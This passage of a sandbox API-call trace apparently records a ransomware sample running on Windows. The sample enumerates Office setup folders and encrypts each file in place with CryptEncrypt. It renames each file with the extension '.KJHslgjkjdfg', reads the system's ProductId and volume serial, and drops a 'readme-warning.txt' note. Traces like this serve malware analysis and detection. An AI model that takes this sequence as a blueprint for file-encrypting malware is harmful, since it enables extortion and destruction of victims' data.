HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.301] GetProcessHeap () returned 0x2a0000 [0143.301] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.301] GetProcessHeap () returned 0x2a0000 [0143.301] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.301] GetProcessHeap () returned 0x2a0000 [0143.301] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.301] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.302] GetProcessHeap () returned 0x2a0000 [0143.302] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.302] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0143.302] GetProcessHeap () returned 0x2a0000 [0143.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc8) returned 0x2ed148 [0143.302] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.302] GetProcessHeap () returned 0x2a0000 [0143.302] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.302] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.302] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0143.302] GetProcessHeap () returned 0x2a0000 [0143.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x2ca) returned 0x2f7730 [0143.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.302] GetProcessHeap () returned 0x2a0000 [0143.302] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.302] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.302] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.303] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x3, lpOverlapped=0x0) returned 1 [0143.305] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.305] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.305] GetProcessHeap () returned 0x2a0000 [0143.305] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.305] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290ed48*=0x40) returned 1 [0143.305] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.305] WriteFile (in: hFile=0x13c, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290ed60*=0x40, lpOverlapped=0x0) returned 1 [0143.305] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.305] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.305] WriteFile (in: hFile=0x13c, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.305] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.305] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.305] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.305] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.306] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.306] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x61d, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x61d, lpOverlapped=0x0) returned 1 [0143.306] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x620, dwBufLen=0x620 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x620) returned 1 [0143.306] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.306] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x620, lpOverlapped=0x0) returned 1 [0143.306] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.306] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.306] SetEndOfFile (hFile=0x13c) returned 1 [0143.308] GetProcessHeap () returned 0x2a0000 [0143.308] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.308] GetProcessHeap () returned 0x2a0000 [0143.308] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.309] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.kjhslgjkjdfg")) returned 1 [0143.321] CloseHandle (hObject=0x13c) returned 1 [0143.321] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0143.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.323] GetProcessHeap () returned 0x2a0000 [0143.323] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0143.323] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0143.323] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed80 | out: lpNewFilePointer=0x0) returned 1 [0143.323] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed90*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.324] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.325] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.325] GetProcessHeap () returned 0x2a0000 [0143.325] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x30) returned 0x2c4b30 [0143.325] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30, dwBufLen=0x30 | out: pbData=0x2c4b30*, pdwDataLen=0x290ed48*=0x30) returned 1 [0143.325] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.325] WriteFile (in: hFile=0x13c, lpBuffer=0x2c4b30*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c4b30*, lpNumberOfBytesWritten=0x290ed60*=0x30, lpOverlapped=0x0) returned 1 [0143.325] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed68*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed68*, lpNumberOfBytesWritten=0x290ed60*=0x4, lpOverlapped=0x0) returned 1 [0143.325] WriteFile (in: hFile=0x13c, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290ed60*=0x10, lpOverlapped=0x0) returned 1 [0143.325] WriteFile (in: hFile=0x13c, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290ed60*=0x80, lpOverlapped=0x0) returned 1 [0143.325] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290ed88 | out: lpNewFilePointer=0x0) returned 1 [0143.325] WriteFile (in: hFile=0x13c, lpBuffer=0x290ed78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x290ed78*, lpNumberOfBytesWritten=0x290ed60*=0x8, lpOverlapped=0x0) returned 1 [0143.325] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290ed64 | out: phKey=0x290ed64*=0x2c6420) returned 1 [0143.325] CryptSetKeyParam (hKey=0x2c6420, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0143.325] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.325] ReadFile (in: hFile=0x13c, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8f8, lpNumberOfBytesRead=0x290ed6c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290ed6c*=0x8f8, lpOverlapped=0x0) returned 1 [0143.326] CryptEncrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x900, dwBufLen=0x900 | out: pbData=0x26c0020*, pdwDataLen=0x290ed48*=0x900) returned 1 [0143.326] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.326] WriteFile (in: hFile=0x13c, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x290ed60, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290ed60*=0x900, lpOverlapped=0x0) returned 1 [0143.326] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.326] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x9c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0143.326] SetEndOfFile (hFile=0x13c) returned 1 [0143.328] GetProcessHeap () returned 0x2a0000 [0143.328] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c4b30 | out: hHeap=0x2a0000) returned 1 [0143.328] GetProcessHeap () returned 0x2a0000 [0143.328] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0143.328] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.kjhslgjkjdfg")) returned 1 [0143.329] CloseHandle (hObject=0x13c) returned 1 [0143.329] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0143.329] GetProcessHeap () returned 0x2a0000 [0143.329] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0143.329] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.329] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570, pdwDataLen=0x290eb98 | out: pbData=0x2bf570, pdwDataLen=0x290eb98) returned 1 [0143.329] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.330] GetProcessHeap () returned 0x2a0000 [0143.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf5b8 [0143.330] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.330] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf5b8, pdwDataLen=0x290eb98 | out: pbData=0x2bf5b8, pdwDataLen=0x290eb98) returned 1 [0143.330] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.330] GetProcessHeap () returned 0x2a0000 [0143.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3c0) returned 0x2f7a08 [0143.330] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290eb30, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.330] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f7a08, pdwDataLen=0x290eb98 | out: pbData=0x2f7a08, pdwDataLen=0x290eb98) returned 1 [0143.330] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.330] GetProcessHeap () returned 0x2a0000 [0143.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf528 [0143.330] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.330] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf528, pdwDataLen=0x290e778 | out: pbData=0x2bf528, pdwDataLen=0x290e778) returned 1 [0143.330] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.330] GetProcessHeap () returned 0x2a0000 [0143.330] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.330] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e708, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.330] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e778 | out: pbData=0x2c1640, pdwDataLen=0x290e778) returned 1 [0143.330] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.330] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x290e774 | out: phkResult=0x290e774*=0x13c) returned 0x0 [0143.330] RegQueryValueExA (in: hKey=0x13c, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x290e780, lpcbData=0x290e77c*=0x400 | out: lpType=0x0, lpData=0x290e780*=0x30, lpcbData=0x290e77c*=0x18) returned 0x0 [0143.330] RegCloseKey (hKey=0x13c) returned 0x0 [0143.330] GetProcessHeap () returned 0x2a0000 [0143.331] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf528 | out: hHeap=0x2a0000) returned 1 [0143.331] GetProcessHeap () returned 0x2a0000 [0143.331] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.331] GetProcessHeap () returned 0x2a0000 [0143.331] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x20) returned 0x2c1640 [0143.331] CryptImportKey (in: hProv=0x2bcb08, pbData=0x290e4e8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2b829c | out: phKey=0x2b829c*=0x2c6420) returned 1 [0143.331] CryptDecrypt (in: hKey=0x2c6420, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2c1640, pdwDataLen=0x290e54c | out: pbData=0x2c1640, pdwDataLen=0x290e54c) returned 1 [0143.331] CryptDestroyKey (hKey=0x2c6420) returned 1 [0143.331] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x290e550, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0143.331] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x290e548, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x290e548*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0143.331] GetProcessHeap () returned 0x2a0000 [0143.331] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c1640 | out: hHeap=0x2a0000) returned 1 [0143.331] wsprintfA (in: param_1=0x290e797, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0143.331] wsprintfA (in: param_1=0x290eba4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0143.331] GetProcessHeap () returned 0x2a0000 [0143.331] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3b4) returned 0x2f7dd0 [0143.331] wsprintfW (in: param_1=0x290db74, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\readme-warning.txt") returned 110 [0143.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0143.334] WriteFile (in: hFile=0x13c, lpBuffer=0x2f7dd0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x290db70, lpOverlapped=0x0 | out: lpBuffer=0x2f7dd0*, lpNumberOfBytesWritten=0x290db70*=0x3b3, lpOverlapped=0x0) returned 1 [0143.335] CloseHandle (hObject=0x13c) returned 1 [0143.335] GetProcessHeap () returned 0x2a0000 [0143.335] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7a08 | out: hHeap=0x2a0000) returned 1 [0143.335] GetProcessHeap () returned 0x2a0000 [0143.335] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7dd0 | out: hHeap=0x2a0000) returned 1 [0143.335] GetProcessHeap () returned 0x2a0000 [0143.335] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0143.335] GetProcessHeap () returned 0x2a0000 [0143.335] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0143.335] FindClose (in: hFindFile=0x2c63e0 | out: hFindFile=0x2c63e0) returned 1 [0143.335] GetProcessHeap () returned 0x2a0000 [0143.335] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f7730 | out: hHeap=0x2a0000) returned 1 [0143.335] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2a0138, dwReserved1=0x77c7387a, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0143.335] GetProcessHeap () returned 0x2a0000 [0143.335] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xca) returned 0x2ed148 [0143.335] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*.*", lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63e0 [0143.336] GetProcessHeap () returned 0x2a0000 [0143.336] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2ed148 | out: hHeap=0x2a0000) returned 1 [0143.336] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0143.336] FindNextFileW (in: hFindFile=0x2c63e0, lpFindFileData=0x290edf0 | out: lpFindFileData=0x290edf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="GrooveMUI.XML", 